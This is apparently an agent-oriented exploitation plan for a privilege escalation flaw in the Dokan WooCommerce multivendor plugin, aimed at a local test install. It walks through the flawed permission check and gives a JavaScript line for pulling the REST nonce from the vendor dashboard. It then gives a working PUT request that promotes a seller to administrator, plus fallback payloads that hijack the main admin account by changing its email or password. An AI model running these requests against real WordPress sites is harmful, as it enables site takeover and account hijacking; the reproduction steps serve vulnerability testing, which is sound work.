Exploitation Research Plan - CVE-2026-49780 (Dokan Privilege Escalation)

1. Vulnerability Summary

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin (up to 5.0.2) contains a privilege escalation vulnerability in its REST API implementation. The CustomersController class extends WooCommerce's WC_REST_Customers_Controller but implements a flawed permission check logic. Specifically, it allows any user with the seller (Vendor) role to access and use the customer management endpoints, including the ability to update user details. Because it fails to properly restrict which users a vendor can modify (e.g., themselves or administrators), a vendor can send a PUT request to change their own user role to administrator.

2. Attack Vector Analysis

• Endpoint: /wp-json/dokan/v1/customers/(?P<id>[\d]+)
• HTTP Method: PUT (or POST with _method=PUT)
• Vulnerable Parameter: role
• Authentication Level: Authenticated (Customer+ with Vendor/Seller status).
• Precondition: The attacker must have the seller role. In Dokan, a "Customer" can typically elevate themselves to a "Seller" role by completing the "Become a Vendor" registration, which often grants the role immediately (even if the store is "pending").

3. Code Flow

1. Entry Point: A request is made to PUT /wp-json/dokan/v1/customers/<id>.
2. Route Registration: In includes/REST/CustomersController.php, register_routes() calls parent::register_routes(), which registers the standard WooCommerce customer routes (inherited from WC_REST_Customers_Controller) under the dokan/v1 namespace.
3. Permission Check: The controller uses check_permission($request, 'edit').
   • check_permission calls check_vendor_permission().
   • check_vendor_permission() calls dokan_is_user_seller(dokan_get_current_user_id()).
   • If the user has the seller role, the check returns true.
   • Flaw: The check only validates that the requester is a seller; it does not validate if the requester has the authority to edit the target user ID or if they are attempting to set a forbidden role (like administrator).
4. Sink: update_item($request) is called, which executes parent::update_item($request). This invokes WC_REST_Customers_Controller::update_item.
5. Execution: The WooCommerce controller processes the role parameter and updates the user's role in the database.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress REST nonce (wp_rest action).

1. Identify Script Loading: Dokan enqueues its frontend scripts and localizes configuration data on the Vendor Dashboard page.
2. Access Dashboard: Navigate to the Dokan Dashboard (typically at /dashboard or a page containing the [dokan-dashboard] shortcode).
3. Extract Nonce: Use browser_eval to extract the nonce from the localized JavaScript object.
   • Variable Name: dokanFrontend (inferred from assets/js/frontend.js)
   • Key: nonce or rest.nonce
   • Alternative: Standard wpApiSettings.nonce is often available if WooCommerce or Dokan enqueues the base WP API scripts.

5. Exploitation Strategy

1. Setup: Log in as a user with the seller role (ID: ATTACKER_ID).
2. Nonce Retrieval:
   • Navigate to /dashboard/.
   • Execute: browser_eval("window.dokanFrontend?.rest?.nonce || window.wpApiSettings?.nonce").
3. Privilege Escalation Request:
   • Use http_request to send the payload.
   • URL: http://localhost:8080/wp-json/dokan/v1/customers/<ATTACKER_ID>
   • Method: POST (with _method: "PUT") or PUT.
   • Headers:
     • Content-Type: application/json
     • X-WP-Nonce: <EXTRACTED_NONCE>
   • Body:

     {
       "role": "administrator"
     }
     

4. Verification: Check the attacker's role after the request.

6. Test Data Setup

1. Plugin Configuration: Ensure Dokan is active and WooCommerce is configured.
2. Create Attacker User:
   • wp user create attacker attacker@example.com --role=customer --user_pass=password
3. Promote to Seller:
   • Dokan identifies sellers by the seller role.
   • wp user set-role attacker seller (Simulates a user who signed up as a vendor).
4. Create Dashboard Page:
   • wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]' --post_name=dashboard

7. Expected Results

• HTTP Response: 200 OK.
• Response Body: A JSON object representing the user, showing "role": "administrator".
• Side Effect: The user attacker now has full administrative access to the WordPress site.

8. Verification Steps

1. CLI Verification:
   • wp user get attacker --field=roles
   • Expected Output: administrator
2. Capability Check:
   • wp eval 'echo user_can(get_user_by("slug", "attacker")->ID, "manage_options") ? "PrivEsc Success" : "Failed";'

9. Alternative Approaches

If updating the role directly is restricted by WooCommerce internal logic (despite the Dokan permission bypass), attempt to update the user's email to an administrator's email or change the administrator's password (if the id of an admin is known, e.g., 1):

• Target Admin: PUT /wp-json/dokan/v1/customers/1
• Payload: {"email": "attacker-controlled@example.com"} or {"password": "NewPassword123!"}
• This would leverage the same permission bypass in CustomersController to hijack the primary admin account.